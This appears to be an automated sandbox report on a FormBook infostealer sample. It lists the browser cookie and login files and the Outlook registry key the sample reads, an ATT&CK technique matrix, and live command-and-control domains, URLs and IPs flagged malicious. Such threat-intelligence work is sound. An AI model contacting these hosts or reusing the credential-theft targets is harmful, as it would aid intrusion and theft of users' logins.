Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: fJD7ivEnzm.exe	Binary or memory string: WIN_XP
Source: fJD7ivEnzm.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: fJD7ivEnzm.exe	Binary or memory string: WIN_XPe
Source: fJD7ivEnzm.exe	Binary or memory string: WIN_VISTA
Source: fJD7ivEnzm.exe	Binary or memory string: WIN_7
Source: fJD7ivEnzm.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fJD7ivEnzm.exe	68%	ReversingLabs	Win32.Backdoor.FormBook
fJD7ivEnzm.exe	100%	Avira	HEUR/AGEN.1321685
fJD7ivEnzm.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.elsupertodo.net	148.72.152.174	true	true	unknown
webredir.vip.gandi.net	217.70.184.50	true	true	unknown
www.nobartv6.website	103.224.182.242	true	true	unknown
www.kexweb.top	63.250.47.40	true	true	unknown
bola88site.one	172.96.191.39	true	true	unknown
www.dyme.tech	13.248.169.48	true	true	unknown
www.mizuquan.top	43.242.202.169	true	true	unknown
redirect.3dns.box	172.191.244.62	true	true	unknown
jobworklanka.online	91.184.0.200	true	true	unknown
omexai.info	3.33.130.190	true	true	unknown
www.tekilla.wtf	unknown	unknown	true	unknown
www.omexai.info	unknown	unknown	true	unknown
www.woshop.online	unknown	unknown	true	unknown
www.languagemodel.pro	unknown	unknown	true	unknown
www.bola88site.one	unknown	unknown	true	unknown
www.jobworklanka.online	unknown	unknown	true	unknown
www.arlon-commerce.com	unknown	unknown	true	unknown
www.kxshopmr.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.omexai.info/7xi5/	true	unknown
http://www.dyme.tech/h7lb/	true	unknown
http://www.kexweb.top/3bdq/	true	unknown
http://www.mizuquan.top/e0nr/	true	unknown
http://www.languagemodel.pro/nxfn/	true	unknown
http://www.bola88site.one/3qit/	true	unknown
http://www.jobworklanka.online/ikh0/	true	unknown
http://www.tekilla.wtf/fpzw/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mizuquan.top	IqZHJpXEsts.exe, 00000007.00000002.3641350832.000000000522C000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gandi.net/en/domain	netbtugc.exe, 00000006.00000002.3641939906.0000000006B30000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640439126.0000000004E30000.00000004.10000000.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3639915615.0000000003AA0000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://whois.gandi.net/en/results?search=languagemodel.pro	netbtugc.exe, 00000006.00000002.3641939906.0000000006B30000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640439126.0000000004E30000.00000004.10000000.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3639915615.0000000003AA0000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.191.244.62	redirect.3dns.box	United States	7018	ATT-INTERNET4US	true
63.250.47.40	www.kexweb.top	United States	22612	NAMECHEAP-NETUS	true
13.248.169.48	www.dyme.tech	United States	16509	AMAZON-02US	true
91.184.0.200	jobworklanka.online	Netherlands	197902	HOSTNETNL	true
172.96.191.39	bola88site.one	Canada	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
217.70.184.50	webredir.vip.gandi.net	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
148.72.152.174	www.elsupertodo.net	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
3.33.130.190	omexai.info	United States	8987	AMAZONEXPANSIONGB	true
43.242.202.169	www.mizuquan.top	Hong Kong	40065	CNSERVERSUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529089
Start date and time:	2024-10-08 16:32:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fJD7ivEnzm.exe renamed because original name is a hash value
Original Sample Name:	f5d173e1e89e02211fa67806e20fcf4fb9c7dcd656929ffad54840454bae58a9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@14/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 47 Number of non-executed functions: 306
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 92.204.80.11
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, whois-unverified.domainbox.akadns.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: fJD7ivEnzm.exe

Simulations

Behavior and APIs

Time	Type	Description
10:34:20	API Interceptor	6766668x Sleep call for process: netbtugc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.191.244.62	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/jqkr/
	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/aol7/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	CYTAT.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/cjjz/
	PO #86637.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
63.250.47.40	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	CYTAT.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	www.brupack.online/t8b6/
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	k8FSEGGo4d9blGr.exe	Get hash	malicious	FormBook	Browse	www.balclub.top/n6ow/
	PO #86637.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	www.kexweb.top/3bdq/
13.248.169.48	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.dyme.tech/h7lb/
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	www.extrem.tech/lwlk/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.firstcry.shop/e4x0/
	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sleephygienist.org/9ned/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.invicta.world/tcs6/
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.firstcry.shop/e4x0/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.invicta.world/aohi/
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.mynotebook.shop/3q2o/
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.sapatarias.online/3632/
	shipping notification_pdf.exe	Get hash	malicious	FormBook	Browse	www.sapatarias.online/3632/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.nobartv6.website	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	PO #86637.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	RFQ- PNOC- MR 29215 - PJ 324 AL SAILIYA MOSQUE Project.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	New_Order_Big_Bag_PDF.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
webredir.vip.gandi.net	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	CYTAT.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
www.elsupertodo.net	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	CYTAT.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	PO #86637.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
	COTIZACION 280824.exe	Get hash	malicious	FormBook	Browse	148.72.152.174
www.kexweb.top	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	CYTAT.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	PO #86637.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ORDER_38746_pdf.exe	Get hash	malicious	FormBook	Browse	63.250.47.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	172.191.244.62
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	172.191.244.62
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	13.32.23.51
	na.elf	Get hash	malicious	Unknown	Browse	13.184.113.170
	na.elf	Get hash	malicious	Unknown	Browse	64.216.147.20
	na.elf	Get hash	malicious	Unknown	Browse	63.197.31.26
	na.elf	Get hash	malicious	Unknown	Browse	68.120.188.218
	na.elf	Get hash	malicious	Unknown	Browse	99.178.79.220
	na.elf	Get hash	malicious	Unknown	Browse	99.59.85.179
	https://we.tl/t-BVtGtb0HLz	Get hash	malicious	Unknown	Browse	13.32.27.128
AMAZON-02US	https://www.google.com.bo/url?url=https://coqjcqixwpeuzndc&hpj=jguragr&fwbtzg=qoe&ffzzf=olnshn&aes=fvotjnl&garqe=txbrxc&emrj=ycbtmrgd&uwzlcgsurn=eygnbnharg&q=amp/jhjn24u.v%C2%ADvg%C2%ADzy%C2%ADnp%C2%ADe%C2%ADw%C2%ADl%C2%ADkkukl.com%E2%80%8B/4b3puorbt&vijx=zlglfoj&qcobrch=pupf&cjaim=omgedz&guneqiu=xqm&d=DwMFAg	Get hash	malicious	Unknown	Browse	52.28.39.231
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.80
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	18.141.10.107
	PO59458.exe	Get hash	malicious	FormBook	Browse	3.131.150.69
	Remittance_Raveis.htm	Get hash	malicious	Unknown	Browse	3.160.212.126
	https://support.squarespacrenewel.retroestyle.com/?DTYUI0=RTDM45	Get hash	malicious	Unknown	Browse	3.124.134.230
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	18.202.131.124
	FIR-069114.pdf	Get hash	malicious	HTMLPhisher	Browse	3.5.184.28
HOSTNETNL	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	https://polidos.com/	Get hash	malicious	Unknown	Browse	91.184.0.111
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	CYTAT.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	PASU5160894680 DOCS.scr.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	91.184.0.111
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	91.184.0.99
NAMECHEAP-NETUS	Z6s208B9QX.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ItPTgiBC07.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	198.54.122.135
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	q6utlq83i0.exe	Get hash	malicious	Unknown	Browse	198.54.122.135
	RQ#071024.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	FDA.exe	Get hash	malicious	FormBook	Browse	198.54.125.199
	PURCHASED ORDER OF ENG091.exe	Get hash	malicious	FormBook	Browse	63.250.38.167

Process:	C:\Windows\SysWOW64\netbtugc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kinematical

Download File

Process:	C:\Users\user\Desktop\fJD7ivEnzm.exe
File Type:	data
Category:	dropped
Size (bytes):	286720
Entropy (8bit):	7.994432246625071
Encrypted:	true
SSDEEP:	6144:opQS3X/b6jTRYqCi34VQ2vW9TSUzWu/48INH:o/QPCioZW5SH8IF
MD5:	9768A43D3B321CFCA91921C63C558FCD
SHA1:	9A123976547AC0487BA16CE1F5F63207E865F1C7
SHA-256:	9F2F66233D42536051255E1335BFDBD7912176279FECD54658EF3440C8C7E3F5
SHA-512:	8120CE81DDBCCDA5A382E52DD80204616CF70DA2430B247460954C31A981F424D050CB9728E72DD08CDA8E1176948A76D6B8034218B047F457DBA35E038DFDD1
Malicious:	false
Reputation:	low
Preview:	..w..4Z1A..]....r.H1...r2I...T7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4.1AH^H.9P.;.k.3....Y(;p'&X77S#j+S(<[..#-p%!Yp,\n..af?[>ToE]]p7PE2NJHKG[.gQ&.m73.m%U.P.hT=.[...hW7.(...&5..X" m73.PE2NJH2F.qZ1.IQW.z.2NJH2FR4.1CI[V_7P.6NJH2FR4Z1Q\PWT'PE2.NH2F.4Z!AHPUT7VE2NJH2FT4Z1AHPWTWTE2LJH2FR4X1..PWD7PU2NJH"FR$Z1AHPWD7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2Nd<W>&4Z1%.TWT'PE2.NH2VR4Z1AHPWT7PE2NjH2&R4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AHPWT7PE2NJH2FR4Z1AH

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5568273994030655
